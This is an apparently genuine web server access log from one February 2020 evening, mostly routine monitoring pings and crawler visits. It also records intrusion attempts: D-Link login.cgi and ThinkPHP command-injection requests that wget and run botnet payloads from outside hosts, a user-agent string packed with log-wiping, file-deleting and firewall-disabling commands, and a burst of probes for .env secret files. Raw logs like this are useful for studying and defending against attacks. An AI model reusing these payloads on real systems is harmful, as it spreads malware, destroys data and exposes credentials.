212.91.246.72 - - [21/Feb/2020:16:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [21/Feb/2020:16:57:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:16:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.118.48.221 - - [21/Feb/2020:16:58:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:16:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.128.200.200 - - [21/Feb/2020:17:01:44 +0100] "GET / HTTP/1.1" 200 1229 "https://www.google.de" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:17:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.107.131.176 - - [21/Feb/2020:17:04:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
83.97.20.34 - - [21/Feb/2020:17:05:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:17:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [21/Feb/2020:17:06:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:17:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [21/Feb/2020:17:06:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
61.219.11.153 - - [21/Feb/2020:17:07:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:17:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
147.158.166.247 - - [21/Feb/2020:17:08:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:17:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.25.71.197 - - [21/Feb/2020:17:09:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
85.25.71.197 - - [21/Feb/2020:17:09:59 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
85.25.71.197 - - [21/Feb/2020:17:09:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
85.25.71.197 - - [21/Feb/2020:17:10:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
212.91.246.72 - - [21/Feb/2020:17:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.189.18.102 - - [21/Feb/2020:17:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:17:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.189.5.140 - - [21/Feb/2020:17:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:17:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.236.73.181 - - [21/Feb/2020:17:14:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:17:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.150.68 - - [21/Feb/2020:17:19:19 +0100] "GET /seiten/kraftverkehr.htm HTTP/1.1" 404 340 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [21/Feb/2020:17:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.106.71.134 - - [21/Feb/2020:17:20:15 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [21/Feb/2020:17:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.254.229.163 - - [21/Feb/2020:17:27:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:17:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.246.151.111 - - [21/Feb/2020:17:31:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
138.185.167.141 - - [21/Feb/2020:17:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:17:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.138.154.68 - - [21/Feb/2020:17:34:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:17:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.246.223.58 - - [21/Feb/2020:17:40:33 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [21/Feb/2020:17:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.139.236.6 - - [21/Feb/2020:17:45:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:17:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.107.203 - - [21/Feb/2020:17:46:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:17:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.25.88.174 - - [21/Feb/2020:17:47:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:17:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.143.94 - - [21/Feb/2020:17:49:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:17:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.148.12.58 - - [21/Feb/2020:17:51:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:17:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.182.97.242 - - [21/Feb/2020:17:51:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:17:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:17:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.7.55.240 - - [21/Feb/2020:17:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:17:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [21/Feb/2020:18:06:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:18:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.209.224.180 - - [21/Feb/2020:18:07:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:18:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.32 - - [21/Feb/2020:18:09:43 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:43 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:43 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:43 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:43 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:43 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:43 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /admin-app/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /fedex/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
51.89.230.56 - - [21/Feb/2020:18:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"
185.234.217.32 - - [21/Feb/2020:18:09:44 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [21/Feb/2020:18:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.187.177.29 - - [21/Feb/2020:18:13:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:18:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.239.141.155 - - [21/Feb/2020:18:14:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:18:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:18:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
